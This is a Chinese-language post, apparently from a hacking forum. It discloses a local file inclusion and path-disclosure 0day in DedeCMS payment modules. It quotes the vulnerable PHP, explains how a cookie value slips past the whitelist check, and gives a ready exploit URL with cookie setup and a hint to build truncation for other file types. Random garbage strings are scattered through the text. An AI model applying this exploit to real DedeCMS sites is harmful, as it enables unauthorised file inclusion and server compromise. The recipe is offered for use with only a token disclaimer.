dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)

出现漏洞的两个文件为：
Include/payment/alipay.php
Include/payment/yeepay.php
' H8 q' _& k/ p% f$ z漏洞均出现在respond方法里，估计这两个文件是临时工写的。
1 |* v5 O) O8 d/ f
Include/payment/alipay.php
0 C' G: H. G0 X) A  d, a. U
......
, @% i. ?# a, a& O   function respond()
    {
        if (!empty($_POST))
( A& Y: g8 _7 }  W% X: x$ h        {
7 _, T$ [3 W# T1 b6 [            foreach($_POST as $key => $data)
            {
                $_GET[$key] = $data;
5 v$ I+ m" w' |3 Y2 o0 J3 }            }
        }
        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
& ?: V' t/ P) n  J! h% @......
" ?0 l# }$ j( x& S9 H

大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。
8 M6 @. O6 p% ]4 _6 P( F% K& r
7 v) d( r4 H, G0 sInclude/payment/yeepay.php

* P8 u. f4 N2 I2 {- B
  [; e8 v7 t, C3 N$ l0 g
9 \: E9 F9 ~: t/ m+ X/ E  T9 P......
    function respond()
    {
. F* ?& O5 R! z
9 o/ z& V$ `1 B2 H. E6 R        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
/ S' c+ h& S; f+ U: `4 H9 d9 v
        $p1_MerId = trim($payment['yp_account']);
        $merchantKey = trim($payment['yp_key']);
......
& t- n* [1 k! {& y
' w" y/ H, s' V/ O3 f( s# `! ?
3 h4 W& @) X# w1 h6 E' ~: Z; ]7 A% r
# P! M8 |4 Y7 W% Y
大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。
- O( W; Y. n+ R, x. w
这两个方法在plus/carbuyaction.php文件调用。

3 J* G5 j( s* P8 r; Dplus/carbuyaction.php

......
} else if ($dopost == 'return') {
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
& M, i- K9 s4 h- r  b2 M    if (in_array($code, $write_list))
    {
        require_once DEDEINC.'/payment/'.$code.'.php';
        $pay = new $code;
        $msg=$pay->respond();
        ShowMsg($msg, "javascript:;", 0, 3000);
# t- L  R3 i1 W' x  F$ x& x' {        exit();  
$ i1 Y) X" Z/ M5 ?: M( b    } else {
6 b6 ?* N) c: E" X8 z& o1 E( V        exit('Error:File Type Can\'t Recognized!');
5 u, q, a- V; f  {( y    }
8 i, Y0 z# c+ k}
......

0 ~# C5 E, j; o' \# B6 a
- V' a5 O# u- q
0 I9 ?3 x( y( J9 `9 Z& A


大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
8 U; c5 Q( u, t& s6 }+ ]所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。

+ N0 ?. ]. R: P* \* ]8 c! C; P回到include/common.inc.php来看看他的机制。
3 q* C9 I+ }, H6 Q7 i* j# u4 l, h


- M8 Z( ~2 _" O5 V$ b, z......
; F+ ?7 x4 [9 _' ?0 Y; cforeach(Array('_GET','_POST','_COOKIE') as $_request)
{
        foreach($$_request as $_k => $_v)
        {
                if($_k == 'nvarname') ${$_k} = $_v;
3 `9 i) d6 x. I. q9 W' d8 F8 j                else ${$_k} = _RunMagicQuotes($_v);
3 a* [  ~8 X! x8 Z% p& C* X% ]        }
}
; t& Z& g3 m6 ~) a2 `......
1 M: q/ v# l2 J4 h' k- w. `大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。